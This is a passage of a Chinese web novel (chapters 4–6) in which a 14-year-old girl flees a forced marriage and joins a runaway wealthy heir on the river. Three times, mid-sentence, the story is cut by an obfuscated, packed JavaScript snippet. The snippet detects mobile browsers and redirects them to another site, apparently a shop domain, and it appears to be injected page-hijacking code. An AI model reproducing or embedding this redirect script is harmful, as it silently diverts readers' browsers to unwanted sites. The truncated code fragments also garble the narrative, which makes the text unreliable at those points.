“我知道,我多吵几次,他们就不敢这样做了。” “要贤淑。” “要前途!” “要娴静。” “要money!” “什么?” Freedom!!! 4. 第 4 章 第四章 方绾宁还未及笄便要嫁人的事儿在村里传的沸沸扬扬。方家人居然还要为此大办宴席,实属遭了全村人唾弃。 方余在这几天还不遗余力的宣传,逢人便邀请来喝喜酒。 “王大爷,明儿就是绾宁成亲的日子了,你记得来喝喜酒啊。” “方余,绾宁丫头不是才将将满了十四嘛,咋就要嫁人了?” “您有所不知,娶绾宁的是怀远县城周员外的独子,天大的福分落我们家头上了,去了就是少夫人,得亏人家看得上,哪儿还能再让人家再等一年的道理。”方余站在田坎上,嗓音是传了半边坡去,“嫁过去就是周家的人啦,没准儿我们还能跟着享享福。记得是城南的周员外府邸呀,你们都来,都来啊。” 村民们面上都答应着一定去参加,心里全是对方家的嫌恶,更有人朝着方余离开的背影吐了口水:“呸,好好一个大侄女儿,居然为了富贵将她嫁去那魔窟,定然要遭天打雷劈的。” “怎么了怎么了,我听着这不是好事儿嘛?”还有村民不知道其中内情。全都聚在一起交头接耳,“你不知道?那周员外的儿子一脚都已经是迈进了鬼门关,病得什么时候断了气都不知道呢。” “哎呀,哎呀,作孽了这可是,方大郎他们居然还能将绾宁丫头嫁过去,实在是丧良心呢。” “可不是嘛,到时候我倒要去看看,到底是什么富贵,能让他们好好的一家没了良心。” 方余照着绾宁的话,到处宣扬这场婚事,确保成亲当天全村的人都知道她是明媒正娶的入的周府。顺便将她准备的,逃婚路上用得着的东西拿去渡口。 只见他仔仔细细的将包袱,拿着防水的牛皮裹了好几层,趁着没人注意用一根绳子悬于水下,露在水面上的绳头用篷布小心翼翼的遮掩了起来。 做好标记后,方余才回到了家。 天色将尽,浮云遮住了落山的夕阳,日光照得远山的影子在湖面上若隐若现。 家里已经是挂满红绸,贴了红纸的灯笼燃起明亮的灯火。院子外面的红轿已经等多时了,不长的队伍就等着新娘子出了门好吹起唢呐。 方余深深吸了一口气,在路上就哭过的眼眶红红的。 姑父,你现在一定要记住了,如果计划顺利,我将在成亲的当晚趁乱逃出周府。你们送完亲一定要留在那,不管他们是赶你们还是将你们丢出去,一定要留在那。临近亥时一定会大乱,然后你们就说担忧我的安危进府寻我,不用太过,闹闹他们就行。之后就回家,三日归宁时,你们见我没回家就找周府闹,说好好一个大活人进府,居然归宁的时候都不放回家,闹到周家一定要见我一面。 他们周家铁定交不出人,你们就去告官,就伙同村民好好闹一番。切记不能太过,如果他们周家拿银钱堵你们的嘴,你们就收下,然后回家隔三差五去周家闹一番就行。全村的人都知道我嫁给他们周家做儿媳妇,咱们不怕他们,是他们弄丢了人理亏。你们在怀远待到清砚哥放田假时就找机会搬走。 记住,余杭。我在余杭等你们。 那如果计划有变怎么办,万一被抓住了怎么办,绾宁? 没有万一,姑父。我相信你们,你们也要相信我。如果被抓住了,我就去当周家媳妇呗,再不济成了寡妇,也还是有命在的。 方余想起之前方绾宁盯着他眼睛,坚定得像是要去为国捐躯似的说出那番话,将眼角的泪光抹了抹,推开了院门。 看着站在房外的李妈妈,忙笑着脸上去问道:“李妈妈,咋站在门外,时辰不早了,是不是该出发了?” 李妈妈眼睛尖的,一眼便看出方余明显是哭过的,心里暗暗想这家人还不算是丧良心的,对方姑娘还是有些亲情在,也没揭穿,面上露出不耐烦的样子,“还不是你家娘子,将我推了出来,说什么都要与少夫人讲些私房话。” 一听她这样说,方余马上悟了,连忙将李妈妈请去院子里的石桌旁坐下,“您也别怪,儿女出嫁,她姑母肯定还是舍不得的,就让她们说一会,你就喝杯茶,我去催催。” 房内,方绾宁听见是姑父回来了,稍稍缓了缓动作。只见陈娘子给她脱下了喜服,将一件缝了牛皮内衬的衣服穿在了身上,再套上周家的丫鬟装,腰间绑了个皮口袋,里面放了张小额银票和重要的户籍信息。然后再将喜服穿好。还好方绾宁的身材现在不高又瘦,多穿了衣服也看不出什么不一样。接着陈娘子便拿出一碟糖油果子,方绾宁一见便拿起来嚼巴嚼巴吞下去。 一会儿可要受些累,身体没有碳水咋行,高糖高油的食物能让方绾宁快速储存能量。一连吃了三个,实在吃不下了,方绾宁才放下果子重新上妆。 还没等李妈妈来催,方绾宁便盖了盖头走出了门。 李妈妈连忙上前,还谨慎的揭开了盖头看了看方绾宁的脸,一看确实是她,还上前搜了个身,发现确实没有什么就放下心来让一旁的媒婆背上了轿。 出发时陈娘子将一个包袱想给方绾宁送去,却被拦了下来。 “你这是什么?”李妈妈拦着陈娘子的手。 陈娘子连忙打开包袱的一角,露出里面的烧饼说:“没什么的,就是些吃的,让绾宁垫垫肚子的。” 李妈妈见确实只是一些吃食,便拿过包袱颠了颠,没什么异样便递进了轿子里。 方绾宁接过,将包袱里的木头块拿出来藏在衣服里。 “起轿!” 随着媒婆的喊声,队伍连忙吹吹打打,向着周家,向着方绾宁的未知大步走去。 方家夫妇跟在队伍后面,一路沉默,嘴角使劲的往上翘,眼角却再怎么也扬不上去了,如果有人现在回头看看他俩,都要被这怪异的表情逗得大笑。 方绾宁坐在喜轿里将胸膛里跳的快蹦出来的心安抚下去,细细的回想起周家附近的线路,再将制定好的计划在脑中又过一遍。 方绾宁掀开轿帘的一角,外面天色已经彻底暗了下来,月亮接替太阳从西边升起来,位置才将将爬到房顶,并不怎么明亮,但她还是凭借微弱的灯笼光,看出来她路过了经常去吃的小吃摊位。还有不远的首饰铺子,那家铺子方绾宁逛了好几次,次次都只看不买,盯着那要五两银子的描金点翠流云发钗流了好久的口水。之前还发誓,以后发达了必定来买个十只,天天换着戴,但现在也没必要了,余杭肯定有比它好看十倍百倍的。 很快便到了周府,媒婆牵着方绾宁进了门。尽管被盖头蒙着看不见,但还是能听见今晚定是个热闹的大场面。 猜得没错,依照打听来的消息,周家少爷定然是起不来床的,所以让方绾宁跟着大公鸡拜堂的时候,她心里一片淡定,早就做好准备了,她心里最坏的打算,其实是洞房直接在灵堂来着。不过现在看来,这周家少爷肯定还有一口气呢。 拜完堂后,方绾宁直接被带着去了后院,一路上张灯结彩,没有奇怪的香烛味,只有浓烈的药渣味儿。 丫鬟们将方绾宁领到房间后,嘱咐她在床上安心坐着就行,方绾宁乖乖的应了,声音细细的透露出些惊惧。丫鬟看这新娘子安安分分的便离开了房间。 听见脚步声走远,方绾宁掀开盖头站了起来。脚步轻轻的走到门后听了听外面的动静,门后守着两个人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445179|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看身型是两个有些健壮的仆妇。周围静悄悄的,只有些许从前院传来的笑声。 方绾宁又悄悄回到了床前。她将沉重的凤冠拆了下来,又将喜服脱了下来铺在床上,露出身上的丫鬟服。将大红色的床帘子放下来后,擦干净脸上的妆重新挽了头发,又将鞋子脱了下来,将之前藏在怀里的木块垫在了鞋子里。 方绾宁没有穿大红的绣鞋,穿的是一双高筒的靴子,还好周家送来的喜服有些长,喜服刚好能遮住脚上这双鞋。也还好刚才走得慢没人发现这双鞋不合脚,垫上木块,再往里面塞上些布料,方绾宁瞬间增高10厘米。 不看脚的话,绝对想不到这是十四岁少女的身高。 做完这些,方绾宁脑袋上已经汗涔涔的了。她吐出一口气,观察起了这间房子。 不大,摆上桌椅屏风甚至有些小。还好古时候的照明条件差,昏暗的烛火能将屋子里很多地方形成暗角。而且蜡烛都点在了喜床那边去了,方绾宁找了个离房门很近的角落蜷缩成一团,调整呼吸静静的等待着。 方绾宁听着周围的声音彻底安静了下来,过了好一会儿,一阵沉重的脚步声朝着这间房走了过来。 有人推开了房门,“你们在房外看着,不许任何人进来。”听声音是个中年男人的声音。 哇,竟然真的是周员外那个老色批,打着给儿子娶媳妇的名头自己来洞房,真真是不要脸。方绾宁在心里朝他鄙视了一万次。 房间静悄悄的,周员外走进了里屋,停在了离床还远的地方,怕吓着那个据说才14的小姑娘。 “方姑娘,你别怕,我是这周家的主人,我虽是为了我儿子娶亲留后,但我儿子目前的身体状况实在不好,反正都是我周家的血脉,只要你今晚乖乖的,我保证你和你的家人都能好好的,富贵的过完一辈子。要是你们看不清这形势,只怕以后的日子比在地狱过着还要苦。” 周员外说了半天却见那边的人没点动静,瞬间察觉不对,抄起一旁的烛台走了过去,掀开帘子却发现空无一人。 “来人!来人啊!”周员外大怒朝外面吼道,还摔了手中的烛台,发出一阵乒铃乓啷的声音。 门外的人听见喊声都推门走了进来,两个仆妇跪在最前面,然后跪着两个丫鬟。周员外背对着他们,指着空无一人的房间大喊:”人呢,你们就是这样做事的?都送进府里的人你们都能让她跑了?“ 那两个婆子也被吓了一跳,回答道:”老爷我们一直守在门外,绝对没人出去。丫鬟将新夫人送到就离开了,窗户咱们提前封了的,她不可能会逃走啊。“ 方绾宁此时趁着仆妇婢女们战战兢兢的时候悄悄从暗处挪了出来,跪在两个丫鬟旁边。 那两个丫鬟也是吓得不行,头低着不敢抬。身体都在发抖,想来这个周员外管理下人肯定是十分凶恶。 其中一个丫鬟低头回答:“我……我们什么都不知道,送她进房我们就走了,她还好好的答应我们安分坐着的呀。老爷饶命,饶命,我们什么也不知道,不关我们的事儿啊。” 那两个丫鬟抖得不行,惹得方绾宁也跟着抖,做出一副害怕的样子。 “还不快去找,今天那么多人,她要是逃走了,我的脸也就都丢尽了!”周员外一屁股坐在了椅子上,头也不抬,声音凶恶:“快去,今天人多,先找后院,没有再悄悄去前院搜,不要发出大动静。” 仆妇领到了命令就先出了门去寻,方绾宁跟在丫鬟身后也悄悄走出了房门。 大家都怕被周员外的怒火烧到身上,每个人都胆颤心惊,没有人注意到他们身后什么时候多了个丫鬟。 5. 第 5 章 第五章 月亮爬的越来越高,光芒也越来越亮了。就算不借着烛火,也能瞧得清路。 周员外今天娶儿媳妇,城里许多人都来观了礼。现在前院正在送客,刚把最后一位宾客送走,周管家却发现新夫人的娘家人却还在府外蹲着没走,心里一阵烦躁,反正现在人已经进府了,就是他们周家的人,对他们也不用客气了,连忙喊人将他们赶走。 谁知一个小厮跑来告诉了他一个消息,“什么?新夫人不见了?”周管家震惊得不小心将这句话喊了出来。他连忙意识到不妥,捂了捂嘴,小声问:“你确定?不是有人看着嘛,怎么人会无缘无故不见了?你们后院仔仔细细搜过没?” 方家夫妇离得不远,正好听见了,陈娘子见状,肯定是绾宁的计划顺利进行。连忙上去拦住周管家,大力抓住他的手说:“周管家,周管家留步,我刚才仔细想了想,心中实在觉得愧对绾宁,虽然我知道今天她已经算做了你们周家的人,但我心中实在难安,你让我再见见绾宁吧。”陈娘子拉着他的手不放。 周管家现在急得就想关门去后院找新夫人,哪儿还能理会这俩夫妇的无理要求,就说:“她方绾宁既然嫁进了我们周家,那就是周家的人,我们自然不会亏待她,你何来愧疚一词?”周管家使劲甩开陈娘子的手,居然没挣开,又说:“你放开我,现在趁着天色不晚,还能回去,还不赶紧回家去,别在府前吵闹。”说完让身后的小厮拉开她。 方余见状也上前去,他那身材高大,两三个小厮都没能拦住:“周管家,你体谅一下我们的心情,我娘子只是想再见见绾宁,绝不是闹事,见完我们立马就走!” 可新夫人现在跑到何处去了还不知道,怎么让他们见面,周管家只好示意身后的小厮再叫点人来将他们拦在门外。 方绾宁在后院跟着大家到处找人,兵荒马乱的谁也没注意她的身份。 尽管有警惕的丫鬟问她是谁,为何以前没见过。 方绾宁都回答说自己到府不久,院里划了许多丫头去新夫人院子伺候,下人房里就不够了,自己就是进来干些粗活。谁知遇到了这等事情。方绾宁演的认真,词儿也是提前想好的,那些人想再追问,她就连忙说现在还是抓紧将新夫人找到吧,要不然我可能就要被赶出府了。 这招应付了两人,都没引起怀疑。 突然前院来人,叫人帮忙去。方绾宁知道是姑母他们在前门闹事儿了。趁着不少人往前院走,绾宁跟着人群悄悄拐去了后门。 在刚才找人的时候,已经知道了后门的方位。只见她快速跑过去,见着守门的俩护卫,大喘气的说:“两位哥哥,快!快去前院帮忙吧,前院有人闹事,周管家都被砸破了脑袋!” 一听事态紧急,俩护卫没多问便急忙跑去了前院。方绾宁跟在身后小跑了几步,就假装停下休息,趁着没人注意,转身回去打开门出了府。 方绾宁一刻也不敢停下,按照前段时间提前踩好的路线,飞快穿过小巷,朝码头跑去。 老天爷,可求求你了,那艘船可千万千万别走了啊。 月上中天,光芒大盛。月亮的周围带着一圈朦胧的光晕,抬头看去,像是一只瞪得浑圆的眼睛注视着凡尘里的所有人,又美丽又诡异。 方绾宁出府的第一件事就是扔掉鞋子里的木块,穿着那个增高鞋跑路,摔一跤跟从二楼往下跳真的没什么区别。 方绾宁终于赶到了码头,气喘吁吁的她在安静的港口,一眼便望见了那艘灯火通明的客船。 客船还在上货,她还有些时间。 她找到了姑父留下的标记,拿到了悬在水下的包袱。篷布下还留给了方绾宁一个气球——用牛的膀胱做的。往里吹了气,拴紧后勉强能当游泳圈用一下。 方绾宁将包袱稳稳系在了身上,整理了一番。看见那艘船收起了船板,便下水游了过去。 她的水性很好,而且现在的季节河水不是很冷。她稳了稳心神,调整好呼吸,藏在阴影里悄悄向那艘载着希望的船游了过去。 船身外面留有捆绑货物的绳结,虽然离水面有一定的距离,但方绾宁在家中练习过很多次,她很快便将捆在腰上的绳子缠了上去。 方绾宁抻了抻绳子,很结实,身上还穿着一层防水的内衬,河水温度适宜。之前补充了很多碳水,绝对没问题,就算是累了也有个简易泳圈,不会沉下去的。 方绾宁准备得非常充分,她已经开始期待前路的自由了。 船很快离了岸,有船员来巡查,方绾宁就沉到水里去。 一切都非常顺利。 这时候,不出意外的话就要出意外了。还不是一个。 先是方绾宁发现这艘船不是回江宁府的,他们要是回江宁,必定会是顺水。可现在看着波光粼粼的水面,明显是去上游。 方绾宁整个人都快疯了,上游有啥她不知道没调查过啊,那她该在哪个渡口松绳子合适啊,说好的余杭,不是越离越远了嘛。 整个人突然颓了下去,靠在那个大气球上没了精气神。想了半天也没辙,不可能又游回去吧,只能走一步看一步了。 方绾宁刚重拾信心,船上就发出了动静。 只听明明早已安静的甲板,突然传出了窸窸窣窣的声音。紧接着船上往下抛出了一根绳子。 方绾宁赶紧往水里沉了沉,留下只眼睛看着一个人从船上慢慢往下爬。 一看就不太熟练的样子,爬到一半还滑了一下,快摔进水里的时候,方绾宁伸出手抬住了他的一只脚。 六个时辰前,瞻松书院。 林小迟忍辱负重,读了十几天的圣贤书都快吐了。终于骗过那群大哥派来,明面上是保护他,实际却是摁着他头读书的护卫了。 可他真的不是读书的料哇,看着字儿就脑壳疼,拿起笔就打呵欠。 作为广安第一富商,在全国的财富榜上也是挤得进前三的。之前林小迟读的可是四大书院之首——应京的桐平书院。 读书当然不是重点,重点是应京的那群纨绔子弟是真的会玩儿啊,天天晚上醉酒笙歌,日头好的时候就去郊外的马场打猎骑射,打马球那群人也是个中好手。 而且读了那么久的书,不会作诗也会吟,一到晚上就去京里有名的舞坊和那些歌姬念些酸诗。还得了个风流才子的名头。 去年的花魁大赛里,咱们的林小公子狂砸九千金,就为了博美人一笑。买下流景河上的所有画舫,并排在河上放烟火。意外引得一场大火烧光了所有船。还好最后只是损失了那些画舫,没闹出人命。 这一下可好,篓子捅到了大哥面前。立马从广安杀过来,亲自把林小迟吊树上抽了三十几鞭子。让他在床上躺了好几个月。伤刚好就被扔来了这个以苦读出名的破书院。还派来了十个身手高超的护卫整天守着他,自那天进了门,就再也没见过书院外风景的林小迟终于受不了了,他宁愿回去挨鞭子,也不要在这当苦书生了。 当机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445180|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立下,打听到大部队回广安的日子,装模做样读了好几天的书,趁那群头脑简单的护卫放下戒心,下了一剂猛药,直接迷晕了他们。 直到林小少爷伪装成货物被搬上了船,以为一切皆在他掌握中的时候。 却被一个船员发现了动静,危机之下只好跳船了。 当然不是真的跳船,以林小少爷的聪明才智,他只需要挂在船边游一段时间就可安心到达下一个渡口,然后上岸,舒舒服服的走陆路去齐陵。 然后,他就被水鬼抓住了脚…… 方绾宁刚用力抬了一下这个人的脚,好给他借点力不至于摔水里去,谁知这人却浑身一哆嗦,身子贴着船身不敢动弹了。还发起了抖。 嗯? 方绾宁不解,正要出声跟他说话的时候。甲板上传来了动静,方绾宁也不管那么多了,这么大个目标可不能就让他挂船身上啊。 只见她用力一扯,将人拽进了水里。不管他挣扎得多厉害都不让他上浮水面,直到船上没了动静才松了手让他不至于憋死在水里。 林小迟浮上水面的第一时间,还没来得及谢谢这个水鬼的不杀之恩。就被眼前的女孩子惊得说不出话来。 当然不是因为惊艳,是帅的。尽管方绾宁长得不赖,大眼薄唇,皮肤通透,可毕竟还是个十四岁的小女孩,五官还没张开,整张脸透露出满满的稚气。 可在林小迟的眼里,这简直就是女侠啊。 月光照在河面,微风荡起的波纹朝着岸边散开。河水像一面剔透的镜子一样复制着天上的月色,借着涟漪荡漾进方绾宁的眼睛里。 真真是天上星辰脉络,都恰恰刻进了她心窝。 然后女侠开口了:“别出声,你大叫的话,我就松手喽。” 真帅,真帅啊!林小迟连连点头。好好好,你别松,你抓紧我的手! “敢问女侠,姓甚名谁,家住何方?又去往何地,我愿与你结伴同行!” 看着眼前这个男人露出二愣子一般的神情,还说出了这种明显是要赖上自己的话。方绾宁心里咯噔一声,来了个累赘啊这是。不过既然已经是一根绳上的蚂蚱了,再客气就不礼貌了。 方绾宁准备打直球,毕竟这个人绝对,肯定不是周家派来抓自己的,其次,看他脑子也不太行,估计是个逃难的。 “你抓稳这根绳子,别太用力,毕竟我们得靠这个度过很长一段时间。”方绾宁调整了一下男人抓绳子的位置,让他靠近船身省些力气。“我叫方绾宁,你呢,至于去往何地,就看船只经过下一个渡口是哪儿了。” 见女侠愿意和自己搭话,林小迟挺高兴的回答:“我叫林小迟,是广安人士,家中做些珠宝生意。全国各地都有我的铺子,一年光是卖些珠钗都能有十几万两白银。” 展示自己的财力。 “我曾就读于应京的桐平书院,和京里的好些世子,王公家的儿子都是好友。” 展现自己的才气与地位。 “我今年21,家中无美妾娇妻。” 展现自己洁身自好。 方绾宁无语,林公子你这样自报家门是想和我相亲嘛?可能是他误会了什么,毕竟在水里看不清我这豆芽菜的身材吧。 “我刚十四。” 方绾宁平静的说出自己的年龄。然后留下一旁惊得说不出话的林小迟,独自看向头顶的月亮。 月亮真圆啊,世道多艰啊,感谢上苍在危难之际赐给自己一个二百五。 6. 第 6 章 第六章 林小迟沉默了起码得有一刻钟。 方绾宁也没和这个二百五说话,两人就悬在船下的一根绳子上面面相觑。 “你才十四?你怎么能才十四?”林小迟率先破冰。 “我的年纪好像跟你没关系吧,林少爷。”方绾宁白了他一眼,又说:“你别动了,本来这跟绳子拖着我绰绰有余,现在再加一个你,我怕被卷进船底。你看见我身后那个大气球了嘛?”方绾宁扭了扭后腰,把那个“救生圈”露给他看。 林小迟侧过头,看见她腰上绑了一个圆圆滚滚,白白净净的皮球:“看见了。” “你把它拿过去靠在上面吧,你身形高大,要是把绳子拽断了,我们俩就得送命在这江河里啦。” 林小迟犹疑了一下,看见方绾宁捆在腰上的绳子,知道她肯定是有计划的跟着这艘船,便拿过那个皮球将手搭了上去。 话说确实省了不少力气,便问:“这是什么做的,蛮有意思的东西。” 方绾宁顿了一秒,回答:“你不会想知道的。” 还没等林小迟问为什么,方绾宁继续说话了,“我不问你为什么在这儿,你也别问我。我刚才救了你,你得听话,知道嘛?” “我为什么要听你话,你才十四,还是个小姑娘呢。“林小迟撇撇嘴。 “那你把球还我,手撒开。” “我不!”林小迟抱紧了那个“救生圈”,“你帮了我,我给你银子,如果你能帮我上岸,我还可以给你金子。” 方绾宁眯起了眼打量了一下林小迟。 这人尽管现在破落,但穿着的衣服料子看得出来,这人就算不是富商,也是个小资。没准儿他衣服里真的揣着金子呐,谁人跑路不带金银细软呢。反正自己也是要上岸的,带着一个人一起应该也没问题。她准备充分。 “行,我可以带你上岸。不过我提前跟你说一声,我不知道下一个渡口还有多久,只能见机行事了。你一会儿要听我安排,知道嘛?” “你不知道这艘船是去哪儿的嘛?”林小迟有些诧异。 “你知道?” “我当然知道了,这是林家的船,他们是要回广安的,依照他们的行船速度,应该在天亮前就能到牧丘。牧丘是个小镇,离广安坐马车得走上四五天。去齐陵的话就稍微远一点。”林小迟有些得意,自己还是能有些用处的吧,看不起谁呢。 “你确定?”方绾宁面上明显有些不信任的表情深深刺痛了林小迟的心。回答她的声音都大了起来,“你什么意思?我可是林家金贵无比的少爷,很小的时候就游遍东州了,还有我不认识的地方?” “你小声些,你不知道你现在的处境嘛,你是少爷,你不住船舱,你跑来和我挂船身上?”方绾宁皱着眉对他说,还用手捂了捂他那大嘴,免得引起船上的人的注意。“那按照你的说法,我们还得在这儿待两个时辰左右,你别说话了,省点力气吧,要不然看见岸边都没力气游过去了。” 头顶的月亮开始落山了,星星开始大片大片的占据着天空。 林小迟听后确实乖乖的没再说话了,方绾宁冲他笑了笑忍住去摸他头的冲动。 他现在看起来像只落水的大狗,耷拉着耳朵,扇子一样的睫毛扑闪扑闪的,趴在牛膀胱做成的救生圈上直溜溜地望着她。 而在林小迟的眼里,方绾宁的形象就高大多了。水面泛起的涟漪拍打在她巴掌大的脸上,双眼明亮得像天上的繁星。她还冲着自己笑呢,笑的林小迟的心里都漏掉了一拍。 好吧,林小迟把方绾宁当仙女,方绾宁把他当狗。 两人在水里待了不知道多久,这艘船的行船速度还好不是特别快,风也静悄悄的,没给他们带来多余的灾难真是谢天谢地。 终于在天边泛起鱼肚白的时候,水流突然变得有些急,航道变窄,浪花增大。方绾宁知道,位于牧丘的渡口快到了。 她将一旁打盹的林小迟拍醒,然后将怀里藏了一路的烧饼拿出来。在牛皮袋的包裹下还算能吃。 她掰了一半递给林小迟。 “刚才我肚子叫得叮咚响的时候你居然没拿出来,藏到现在。”林小迟接过烧饼嫌弃的咬了一口说。 “刚才给你吃了一路上早被消化完了,你现在还是没力气。别废话了,快吃吧。要到渡口了。”方绾宁两三口将烧饼啃下肚,还喝了一口河水顺了一下。 林小迟见方绾宁一点不扭捏,张着大嘴还是将这半块烧饼囫囵地吞了下去,要是搁在昨天,这种食物,林少爷是看都不会看一眼的。 水位变浅,船只没有减速,荡起的浪变得有些急。她有些害怕松了绳子会被卷到河底去。方绾宁转过头问林小迟:“你水性怎么样?” “那是相当不错!我五岁就会泅水了。十二岁就横渡了广安那条澄江,十三岁……” “够了,够了。别念你的简历了。准备准备,我要松绳子了。”方绾宁截住他的话,又说:“现在我把我俩绑一起,一会儿我松开船上的绳子时,一起蹬一脚船身。要是我被流水卷了去,麻烦你拉我一把。” 林小迟点头,吃了半块烧饼果然恢复了些精气神,现在看起来像只冲锋的狗狗了。 “听我口令,林小少爷” “好。” “三。” “二。” “一。” 方绾宁松开绳子,两人一起用力朝船身蹬了一脚,惯性加上突如其来的浪花直直的打在了她头上,方绾宁一下就失了方向,瘦小的身子不由自主的被河底的水流卷去。 幸好林小迟真的没说大话,他水性真的不错。他受到的影响较小,见手腕上连着方绾宁的绳子一股脑的往河底拽去,就知道她有危险。林小迟身上还绑着救生圈呢,只见他将那个气球扔了去,然后一把拉过绳子,将喝了不少河水的方绾宁神乎其技的拉出水面。往岸边快速的游了去。 在水里待了将近四五个时辰的方绾宁终于踏上了坚实的土地,差点喜极而泣,这代表着她终于从怀远周家的危难下成功逃生了。 但她下一秒就被惊了一下。 哎,你猜她是被什么震惊了。难道是岸边站着周家的追兵?还是岸边守着几头留着哈喇子的狼? 嘿嘿,都不是,是林小迟,林少爷他从地上站了起来。宛如一个巨人般的。 真的,为什么没人告诉他,水里那个二百五身高直接逼近190啊喂! 这哪儿是大狗啊,这是藏獒啊喂! 这看起来明明是可以一人干翻全船人的身材啊喂! 双开门冰箱就是他表弟吧喂! 这一瞬,方绾宁是真的相信林小迟是富家少爷了,毕竟普通人家很难养的出这种身材。她刚才在水里还担心这个人脑子可能不好使,将自己的救生圈都给了去。 悔之晚矣,悔之晚矣啊…… 而一边的林少爷显然兴致勃勃,仰天狂笑:“哈哈,小爷我终于逃离书院那个鬼地方了,这天南海北的,谁还能再拦得住林小爷我。林云奕,你就管着我吧!我自由了我,哈哈哈!“说完,林小迟还朝着船只走了的方向,吐了一口口水。 方绾宁扶额。 好吧,他脑子真的可能有点不太正常。 “喂,林少爷,□□了啊,你说带你上岸就会给我金子的。”方绾宁准备拿到这笔意外之财就和他各奔东西。 “成!这就给你。”林小迟还是很爽快的,毕竟之前的打赏也是如流水一般,一块金子罢了,十块咱也给得起!然后伸手就往怀里掏。 掏了半天,结果半块铜板都没掏出来。“你别急,我还有玉佩。” 林小迟低头一看,腰间空空如也。 方绾宁沉默。 “别急,别急,我还有发簪,我发簪是上好的碧玉。”尴尬的林小迟一把扯下头顶的发簪,刚一拿下来,下一秒,那只玉簪子就断成三节。 碎掉的玉簪落在地上发出震天的响声。没了发簪的林小迟,头发散了下来,配上他那顶天的身高,像是一棵茂盛的垂柳,在飓风的吹拂下,柳条群魔乱舞。 鬼一般的寂静。 说真的,方绾宁怕林小迟下一秒就要哭出来了。 人生的大起大落就在顷刻之间啊。 方绾宁站起身来,走到他身边。伸出手拍了拍他的肩。 还好方绾宁155的身高拍拍肩膀这种事还是得心应手的,要是还要垫脚那可就完了呀。 还好自己能到他的胸口。 “没事儿,我不要金子了,你走吧,就当我日行一善了。” 方绾宁说完直接掠过他,小跑前进溜之大吉了。 日行一善是日行一善,天天行善,那就真的不礼貌了呀! 林少爷身无分文还身材高大,干饭绝对猛,但现在虎落平阳不如狗啊,带上他的话百分百会被他吃穷的,如果到时候再非丝绸不穿,非泉水不饮。懵逼的只有她方绾宁了。 向前冲!别回头!绾宁跑啊,下一次见面他们再续……下一次还是别见了! 一刻钟后。 离渡口不远的一处破庙中。 庙中两堆火,分别坐着两个人。湿透的衣服横亘在两人中间搭了个架子。 方绾宁盯着火,林小迟隔着衣服盯着她。 “你刚才跑什么?” “我跑了吗?” “我转个身,你都跑出二里地了,你还没跑?” “那你不是三两步就把我抓回来了嘛!” “你就是跑了,你在嫌弃我。” “天地良心,我没有!” “那你带上我一起。” “我……” 我特么! “我才十四,你跟着我干嘛,你都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还不是我大哥逼我念书,我好不容易从瞻松书院那个破地方跑出来的,本来想混在船上中途溜下船去齐陵的,谁知差点被人发现,情急之下就跳船了,然后遇上了你。” 林小迟这样一说,方绾宁一下记起前段时间那个停在书院外的车队。 原来是他。看来林小迟是真的有点背景,那就不怕他不认账了。方绾宁心情瞬间好多了,这真的是个金宝宝,拿这个金宝宝换赏钱。想想就要发大财! “那我答应你了。”方绾宁话音刚落,林小迟就掀开帘子朝她望了过来。 “真的啊,那可太好了!” 方绾宁准确无误的赏了他一个爆锤。林小迟才吃痛的把脖子缩了回去。“小小年纪,打人还挺疼。” 方绾宁趁机约法三章:“虽然我答应你,可以陪你去齐陵找你四姐。但我的银钱是真的少,所以我们肯定是没办法住店的,吃的也只有咸菜窝窝头。” “啊?”林少爷无法接受。 “你啊也没法啊,要是只有我一个人,我勉强还能吃上肉包子,加上你一个,我们饿不死就行了。你不能喊苦喊累,要听我的话,不能嫌东嫌西。你要是吃不了苦,就去找你林家的伙计,瞬间就能过回以前的生活。知道嘛?”方绾宁苦口婆心,也巴不得这少爷早日结束喊停,自己也好功成身退。 林小迟无奈,心里想着绝不能回林家挨大哥的骂,只好答应了下来,“好吧,我答应你,我尽量配合你。那你可以过来给我绾发了。” 啊? “你不会?”你是把我当丫鬟了嘛,混蛋! “不会啊,但我会自己穿衣服,这个你放心。” 放心你个头啊,方绾宁压下自己心里的怒火,将一旁烤干的衣服穿戴好,捡起一旁的枯树枝,稍稍修整了一下,能勉强看出来是个发簪的样式,走过去给林小迟梳起了头发。 大户人家的公子真的不一样,头发又多又亮,一看就是营养满满的样子。 方绾宁的小手好软,梳起自己的头发痒痒的,搞得林小迟的心也痒痒的。 “要不然,你到齐陵就别走了,做我的梳头丫鬟吧,我给你的银钱绝对特别高……哎哟,你别扯我头发。”方绾宁气不打一处来,林小迟要再说一句,她就指着他的脖子一口啃下去。 她方绾宁,是要自由的,自由你明白嘛?就是天高海阔,她想去哪儿就去哪儿,谁也管不着。 她可是要不受限制地走向她要去的任何地方。 “你别做梦了,把你带回齐陵,你就派人送我去余杭。” “怎么又变成余杭了?” “你别多管了,我想去哪儿就去哪儿。” “好吧好吧,你别扯我头发了。” …… 